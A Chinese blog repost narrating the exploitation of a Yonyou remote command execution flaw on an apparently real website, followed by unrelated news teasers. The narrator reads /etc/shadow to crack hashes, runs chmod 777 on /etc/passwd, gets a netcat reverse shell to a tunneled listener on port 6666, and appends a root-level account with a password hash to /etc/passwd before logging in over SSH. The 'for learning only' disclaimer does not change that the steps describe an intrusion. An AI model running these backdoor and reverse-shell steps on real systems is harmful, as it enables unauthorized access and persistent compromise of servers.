服务粉丝

我们一直在努力
当前位置:首页 > 财经 >

记一次远程命令执行漏洞提权过程

日期: 来源:黑白之道收集编辑:

正文

某站用友的命令执行漏洞,测试 print hello 发现可以执行命令


whami 和 id 都查一波权限,发现是 root,权限这么大,很好搞啊


ps -ef | grep sshd 查一波发现可以ssh连接,直接 useradd 用户,但是整个 shell 无法给用户添加密码,无法远程登录,怎么搞,直接读 shadow 哈希,爆破密码


爆破无结果,头大,怎么搞,思考5分钟,可以直接写 passwd 啊,试一波


再次查看 shadow 居然没写进去,难道权限不对,ls -alrt /etc/passwd 发现权限是 544,直接 chmod 777 /etc/passwd 改权限,继续写,依然写不进去。

换了各种姿势,都不行,难住我了,突然想起了 nc 反弹,一般 linux 都装有 nc ,这个有没有,查一波


果然不错,有 nc ,通过 dnslog 查一下是否有外连


能 ping 通,果然能外连,那就可以通过 nc 反弹搞一波了,本地的攻击机在内网,内网穿透一波,我一般用 https://www.uulap.com/ 大家可以试试


将本地的 6666 端口映射到公网


本地建立监听 nc -l -n -v -p 6666


让目标机进行 nc 反弹


果然反弹回来了,直接上命令,加用户
echo ‘用户名:LRxM3nP3LOiYU:0:0:hello:/root:/bin/bash’ >> /etc/passwd


查看已经添加成功,直接ssh连接,发现是阿里云的服务器


至此结束,收工!

文章来源:潇湘信安


黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!

如侵权请私聊我们删文


END

多一个点在看多一条小鱼干

相关阅读

  • 体检查出甲状腺结节,会不会变成癌?

  • 最近又到了体检季。每年这个时候,很多人看着体检报告上的“甲状腺结节”都忧心忡忡。的确,最近几年,患上甲状腺疾病的年轻人越来越多,尤其是甲状腺结节。一项针对甲状腺功能的抽
  • 春种秋收,厚积薄发

  • 明日期权班开讲,北京线下+线上,欢迎报名!种一棵树最好的时机是十年前,其次就是现在。种菜也是,春种秋收,厚积薄发,做好知识准备,才会在机会来的时候不慌,不然也只是临渊羡鱼。我们在2
  • 应急管理部联合执法小分队在郑州行动

  • 4月下旬,应急管理部组织安全生产监管执法、消防救援联合执法小分队,赴河南省郑州市开展电气焊动火作业、外包外租等生产经营活动、劳动密集型工业企业安全出口专项暗查暗访。
  • 曹操墓,发现了这些宝贝→

  • 来源:新华视点“说曹操曹操到” 听曹操墓二三事4月29日,曹操高陵遗址博物馆正式对外开放,曹操墓出土文物集中亮相。曹操高陵遗址博物馆。(曹操高陵遗址博物馆供图)展出的出土文物

热门文章

  • “复活”半年后 京东拍拍二手杀入公益事业

  • 京东拍拍二手“复活”半年后,杀入公益事业,试图让企业捐的赠品、家庭闲置品变成实实在在的“爱心”。 把“闲置品”变爱心 6月12日,“益心一益·守护梦想每一步”2018年四
  • 美国对华2000亿关税清单,到底影响有多大?

  • 1 今天A股大跌,上证最大跌幅超过2%。直接导火索是美国证实计划对华2000亿美元产品加征25%关税。 听起来,2000亿美元数目巨大,我们来算笔账。 2000亿美元,按现在人民币汇率

最新文章

  • 记一次远程命令执行漏洞提权过程

  • 正文某站用友的命令执行漏洞,测试 print hello 发现可以执行命令whami 和 id 都查一波权限,发现是 root,权限这么大,很好搞啊ps -ef | grep sshd 查一波发现可以ssh连接,直接 use
  • 一款漏洞查找器(挖漏洞的有力工具)

  • VulFi,即“漏洞发现者”,它是一个IDA Pro插件,可以帮助广大研究人员在二进制文件中查找漏洞。它的的主要目标是在一个单一视图中给研究人员提供包含了各种函数交叉引用的相关信
  • 这类快递赶紧扔!一女子被骗20万,多地紧急提醒

  • 来源:深圳公安、安徽警方、榆林市反诈中心要是你收到这样的陌生快递千万别签收!最近广东、安徽、陕西等多地市民报案称自己收到了陌生快递快递盒子平平无奇里面是一个杯子有这
  • 上周,又劝退十几个了。。。

  • 今天还是想给大家好好聊聊我们星球。很多人不知道,加入知识星球3天内如果不满意,可以无理由退款的,所以3天内很多小伙伴都被我们劝退了。就在上周劝退了十几个,特别是为了账号的
  • 致敬平凡而伟大的你们!

  • 一卷长图 一纸对白一首赞歌诉不完你的故事春暖花开因你而美感谢有你“五一”国际劳动节致敬每一位劳动者来源:共产党员微信-安徽先锋责编:张明宇编审:陈卫平 陈竞超